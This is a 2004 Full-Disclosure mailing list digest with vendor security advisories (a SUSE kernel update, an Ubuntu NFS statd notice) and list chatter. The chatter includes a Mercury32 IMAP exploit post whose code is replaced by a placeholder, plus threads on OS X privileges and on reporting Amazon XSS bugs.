OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] this is fun?

From: Brandy Simon (brandysimongmail.com)
Date: Wed Dec 01 2004 - 07:16:14 CST

I forget that some people don't have a sense of humor. Also thought
the "?" in the subject made a statement about how fun it was.

On Wed, 1 Dec 2004 10:42:29 +0530, Aditya Deshmukh
<aditya.deshmukhonline.gateway.expertworks.net> wrote:
> ALD > http://picserv.on.zoy.org/IM39571.jpg
> ALD >
> ALD > Make sure your speakers are turned down if yo are at work.
> ALD >
>
> is this your idea of fun ?
>
> ________________________________________________________________________
> Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Remote Mercury32 Imap exploit

From: barabas mutsonline (barbsiegmail.com)
Date: Wed Dec 01 2004 - 06:40:24 CST

JohnH,

Your l33t skillz amaze us. It's very smart of you to post a working
exploit here. More of your customers will require your help and
scriptkiddies will generate revenue for (blackhat) companies like
yours.
In fact you are right, it's very easy to find vulnerabilities...the
really hard part is to write shellcode. DAmn, I've been looking all
over the net to find some small universal portbinding shellcode, but
I'm just not smart enough.
I guess you need NSA skillz for that .
Thanks, now I can rip your shellcode and replace all those lame
calc.exe shellcodes ;-)

RESPTEC!

Barabas

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of JohnH
Sent: Tuesday, November 30, 2004 7:38 AM
To: full-disclosurelists.netsys.com
Cc: bugtraqsecurityfocus.com
Subject: [Full-Disclosure] Remote Mercury32 Imap exploit

Here you go guys. A fully working Remote Mercury32 Imap exploit. This will
work on any windows OS. 100% universal.

Only reason I am posting this is because im sick of seeing non working
exploits released and WHITEHAT.CO.IL likes to do this.

Cheers,

Johnhsecnetops.com
VIST: www.secnetops.com

<Super l33t sploit h3r3>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Windows Screensaver Privilege Escalation

From: Andrew Kennedy (andrewinternationalgmail.com)
Date: Tue Nov 30 2004 - 22:50:14 CST

On 29 Nov 2004, at 16:40, Paul Schmehl wrote:
> --On Sunday, November 28, 2004 09:41:23 PM +1300 Nick FitzGerald
> <nickvirus-l.demon.co.uk> wrote:
>>
>> That's because it is (more than) pretty stupid to let users install
>> software at all. The job of system administrators is to "manage" the
>> systems they are responsible for. With Windows systems that requires
>> that "ordinary users" (i.e. everyone whose job is not officially
>> "system administrator") _MUST NOT_ be allowed to install new software.
>> Sadly, extraordinarily few Windows system admins actually have enough
>> nouse to realize this, and most of the few who do cannot get enough
>> management muscle to back such a "draconian" policy.
>>
> This model breaks down, of course, in the home market, where people
> want unfettered access to their computer.

well, for what it's worth, OSX offers this kind of thing. at system
installation, an 'Adminstrator' privileged account is created, for the
main user of the computer. this basically means that 'sudo' access is
granted to this user. whenever 'dangerous' things, like access to
protected directories, chamging network settings, reconfiguring bits of
the system, the user's password must be re-entered (*not* a 'root'
password, mind). this tips the user off that something important is
happening, and gives them a chance to back out or stop and think about
what they've done.

in fact, under OSX, there is by default no 'root' user - it must be
specially asked for and created, as part of the 'BSD' package. i won't
say apple have gotten things perfect, for example the 'Applications'
folder is writeable by any user, so rogue apps can be installed by any
idiot, and a lot more besides, but it goes a long way in front of
windows (which is mostly due to the BSD heritage...)

> What we need is a paradigm shift in thinking about security and
> computers. We need "users" to be required/forced? to change accounts
> to install software. Something like a virtual session, so that, when
> they're logged in, and they decide they want to install something,
> when they attempt to install, the system forces them into a virtual
> session, authenticates them as root/admin and performs the install
> within that session. Once the install completes, the session closes,
> and they're back to "joe user" again.
>
> People could still override this, but they would (obviously) have to
> be somewhat knowledgeable to do it. (Really what we need is the unix
> model, where users can never be admins and admins *should* never be
> users, but we *all* know that's never going to happen.)
>
> Just last night my 28 year old daughter was complaining about having
> to update her laptop. She called it "a second job" that she wasn't
> paid for. She yearns for "automated updates" that she doesn't have to
> deal with. On a corporate network, that's doable, but at home??? I
> explained to her why trusting her computer's updates to someone else
> was a bad thing, but that only made her more knowledgeable, not more
> happy. :-)

--
-- andrew kennedy ? international : copyright two thousand and four

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Network Sniffing

From: xtrecate (xtrecatespymac.com)
Date: Tue Nov 30 2004 - 22:26:41 CST

The article states that the FBI served subpoenas for specific information
from insecure.org, likely after finding evidence that some specific attacker
(who, no doubt, did something which deserves to be investigated) retrieved
data from insecure.org. It would appear they are simply trying to
cross-reference logs to discover an attacker's real IP address. This is
pretty legitimate, and Fyodor was apparently very diligent in ensuring all
information was retrieved via legal methods.

I don't see any reason to assume that the FBI is actively monitoring
insecure.org's HTTP logs. Even if they did have a strangle hold on the
logs, there is really nothing to fear as it is a legitimate tool with
legitimate purposes.

People intending to commit felonies over the internet, obviously, have
something to worry about... though I'm not sure why anyone would be
sympathetic to their plight.

--xtrecate
 

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Danny
Sent: Tuesday, November 30, 2004 2:15 PM
To: Ben Nelson
Cc: Crehan, Joe (EM, ITS, Contractor); full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Network Sniffing

On Tue, 30 Nov 2004 13:08:12 -0700, Ben Nelson <listsvenom600.org> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Take a look at:
> http://www.insecure.org/tools.html
[...]
Note: The FBI is monitoring HTTP logs from insecure.org.

http://slashdot.org/article.pl?sid=04/11/25/1835238&from=rss

...D

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] SUSE Security Announcement: various kernel problems (SUSE-SA:2004:042)

From: Marcus Meissner (meissnersuse.de)
Date: Wed Dec 01 2004 - 08:31:23 CST

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package: kernel
        Announcement-ID: SUSE-SA:2004:042
        Date: Wednesday, Dec 1st 2004 15:00 MEST
        Affected products: 8.1, 8.2, 9.0, 9.1, 9.2
                                SUSE Linux Enterprise Server 8, 9
                                SUSE LINUX Desktop 1.0
                                Novell Linux Desktop 9
        Vulnerability Type: local and remote denial of service
        Severity (1-10): 7
        SUSE default package: yes
        Cross References: CAN-2004-0883
                                CAN-2004-0949
                                CAN-2004-1070
                                CAN-2004-1071
                                CAN-2004-1072
                                CAN-2004-1073
                                CAN-2004-1074

    Content of this advisory:
        1) security vulnerability resolved:
             - kernel remote and local denial of service problems
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            - see SUSE Security Summary Report
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    The Linux kernel is the base of the SUSE Linux system.

    Several security problems have been found and addressed by
    the SUSE Security Team. The following issues are present
    in all SUSE Linux based products.

    - Several remote denial of service conditions have been found in
      the smbfs file system, reported by Stefan Esser.
      The vulnerability could be used by a hostile SMB server (or an
      attacker injecting packets into the network) to crash the clients
      kernel.
      These issues have been assigned the Mitre CVE IDs CAN-2004-0883 and
      CAN-2004-0949.

      We thank Stefan Esser for reporting this issue and providing patches.

    - Paul Starzetz of isec.pl found several missing boundary checks
      in the ELF loader routines of the Linux kernel which could
      potentially lead a local attacker to gain root privileges by using
      handmade ELF binaries. These issues have been assigned the Mitre
      CVE IDs CAN-2004-1070,CAN-2004-1071,CAN-2004-1072, and CAN-2004-1073.

      We thank Paul for reporting this issue and Chris Wright for providing
      a patch to fix the issue.

    - Handcrafted a.out binaries could be used to trigger a local
      denial of service condition in both 2.4 and 2.6 Linux kernels, allowing
      a local attacker to render the system unusable.
      Fixes for this problem were done by Chris Wright.
      This issue has been assigned the Mitre CVE ID CAN-2004-1074.

      We wish to thank Chris for providing patches.

    - SUSE Linux 9.1 and SUSE Linux Enterprise Server 9 now contain
      stricter checks what commands you can send to read-only opened
      CD devices. This way local attackers only having read access to
      the device will not be able to destroy the firmware of SCSI related
      devices.

      This update will break the k3b and the dvd+rw-tools packages.
      We have released fixed versions of those packages.

    - The SUSE Linux 8.1, 8.2, and 9.0 and the SUSE Linux Desktop 1.0
      kernel were missing the kNFSD remote denial of service fix. The
      respective fixes are now in the released kernels.

    Also, the following critical bugs were fixed by this update:

    - A very small race condition on SMP systems with more than 4GB of
      memory that could expose foreign memory pages was found and fixed
      by Andrea Arcangeli of SUSE.

    - On SUSE Linux Enterprise Server 9 a memory corruption in the NFS
      readdirplus command could lead to kernel crashes and potentially
      corruption of data on disk. This problem was fixed.

    - On SUSE Linux 9.2 the "dazuko" kernel module of the "antivir" RPM
      package caused problems with programs using Linux capabilities.
      The module was fixed.

    - A security fix for buffer overflows in the decnet protocol
      driver was incorrect and caused kernel crashes.

2) solution/workaround

    There is no workaround, please install the fixed kernels.

3) special instructions and notes

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence "****"
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.

  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the "-" character)

      k_deflt # default kernel, good for most systems.
      k_i386 # kernel for older processors and chip sets
      k_athlon # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp # kernel for Pentium-I dual processor systems
      k_smp # kernel for SMP systems (Pentium-II and above)
      k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/i386/update/.

      8.1/rpm/i586
      8.2/rpm/i586
      9.0/rpm/i586
      9.1/rpm/i586
      9.2/rpm/i586

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.

  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv --nodeps --force <K_FILE.RPM>
    where <K_FILE.RPM> is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully
             followed.

    If you run SUSE LINUX 8.1 and haven't applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless
    operation.

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command

      mk_initrd

    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.

  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    system.
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system
             unbootable.

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
    or
        init 6

    Your system should now shut down and reboot with the new kernel.

4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    <pkg_sum output>

______________________________________________________________________________

5) Pending vulnerabilities in SUSE Distributions and Workarounds:

    Please see our weekly summary report.

______________________________________________________________________________

6) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key securitysuse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "buildsuse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-securitysuse.com
        - general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribesuse.com>.

    suse-security-announcesuse.com
        - SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribesuse.com>.

    For general information or the frequently asked questions (FAQ)
    send mail to:
        <suse-security-infosuse.com> or
        <suse-security-faqsuse.com> respectively.

    =====================================================================
    SUSE's security contact is <securitysuse.com> or <securitysuse.de>.
    The <securitysuse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <securitysuse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <buildsuse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

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
=Fv2n
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQEVAwUBQa3U5Hey5gA9JdPZAQHRogf/aLEnzor/MQjqt25dph3NrD/sx8urYcVO
It5IT8z5a/k5WKNyp5TO/s6fc32J1aUbYBaNFEA0h1WFkCZ7kFrL0IXBD4pPrm0i
Hy/BXnXbppGYRcHlGs4IKEUZ1BWEX8KjTLRTTc2YJ7B/jP+/EZVLFuRSWvS2P9wx
4urGsMC+1gidqtqgBOr5tWeq9vekDfytM/7sGs2guE9T169L63X7IK5DZxpTdAOB
q/slCF6HrpHRT+lh5VKZWaZGpEXlZboe6q+hOxbL0VrkmdACHjhj1xNSJBhNih9v
DqDzSnMEfh4kFnbW9fq2if5QaLNVG9BBdd1tTqZPxaIQbeR/OW2DmQ==
=96+c
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [USN-36-1] NFS statd vulnerability

From: Martin Pitt (martin.pittcanonical.com)
Date: Wed Dec 01 2004 - 08:36:03 CST

===========================================================
Ubuntu Security Notice USN-36-1 December 01, 2004
nfs-utils vulnerability
CAN-2004-1014
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

nfs-common

The problem can be corrected by upgrading the affected package to
version 1:1.0.6-3ubuntu1.1. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

SGI discovered a remote Denial of Service vulnerability in the NFS
statd server. statd did not ignore the "SIGPIPE" signal which caused
it to shutdown if a misconfigured or malicious peer terminated the TCP
connection prematurely.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-utils_1.0.6-3ubuntu1.1.diff.gz
      Size/MD5: 5596 df57bdbe3dfddd40cda65b04509d5957
    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-utils_1.0.6-3ubuntu1.1.dsc
      Size/MD5: 637 c80d2bcd3c1286db08c629a48ee3a1de
    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-utils_1.0.6.orig.tar.gz
      Size/MD5: 266001 bc8b888c4ee93186dde91983f9600a65

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-common_1.0.6-3ubuntu1.1_amd64.deb
      Size/MD5: 60706 5d69164709d408315ce7c49474cfabe4
    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-kernel-server_1.0.6-3ubuntu1.1_amd64.deb
      Size/MD5: 98646 3af7799c3e5013b119b339718f4f0cec
    http://security.ubuntu.com/ubuntu/pool/universe/n/nfs-utils/nhfsstone_1.0.6-3ubuntu1.1_amd64.deb
      Size/MD5: 42118 5efb547f84a10e5d80efa65c7b515c73

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-common_1.0.6-3ubuntu1.1_i386.deb
      Size/MD5: 56778 7c91a1aa814f4284eb96d804ef736850
    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-kernel-server_1.0.6-3ubuntu1.1_i386.deb
      Size/MD5: 90138 31f62fc6060bfff49d09ae7db96801af
    http://security.ubuntu.com/ubuntu/pool/universe/n/nfs-utils/nhfsstone_1.0.6-3ubuntu1.1_i386.deb
      Size/MD5: 40410 8b362d843ec6e1fd0c83657cd8dd2a65

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-common_1.0.6-3ubuntu1.1_powerpc.deb
      Size/MD5: 60642 a506590e99039ea07b333714ad894ec5
    http://security.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-kernel-server_1.0.6-3ubuntu1.1_powerpc.deb
      Size/MD5: 96308 824b14ca9c96fe85d2582eb32a85dbeb
    http://security.ubuntu.com/ubuntu/pool/universe/n/nfs-utils/nhfsstone_1.0.6-3ubuntu1.1_powerpc.deb
      Size/MD5: 42082 60c3e1b664dee66cd4e7068c8875373c

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBrdbTDecnbV4Fd/IRAlxpAKDw68M1bE6AJvcixJQiukpP6ByOEQCaA8+m
xUq4Y1cRueK/WTjABWMpG6A=
=nKp7
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] amazon security contact

From: Knarr, Joshua (joshua.knarrsap.com)
Date: Wed Dec 01 2004 - 08:58:43 CST

Heh, would this have anything to do with the recent TARGET defacements?

http://www.target.com/gp/detail.html/601-1627735-4860151?_encoding=UTF8&
asin=B000005D70

>-----Original Message-----
>From: full-disclosure-adminlists.netsys.com
>[mailto:full-disclosure-adminlists.netsys.com]
>Sent: Wednesday, December 01, 2004 7:21 AM
>To: full-disclosurelists.netsys.com
>Subject: [Full-Disclosure] amazon security contact
>
>Hello,
>
>does anybody know an email alias at amazon.com to report a
>vulnerability?
>
>I tried to report multiple XSS issues to their customer
>support during the
>last few days, but got no feedback at all.
>
>mikx
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] amazon security contact

From: Michael Evanchik (mevanchikrelationship1.com)
Date: Wed Dec 01 2004 - 10:13:55 CST

Too bad I cant add this too my cart and complain to customer service I am
not receiving my item

www.michaelevanchik.com

-----Original Message-----
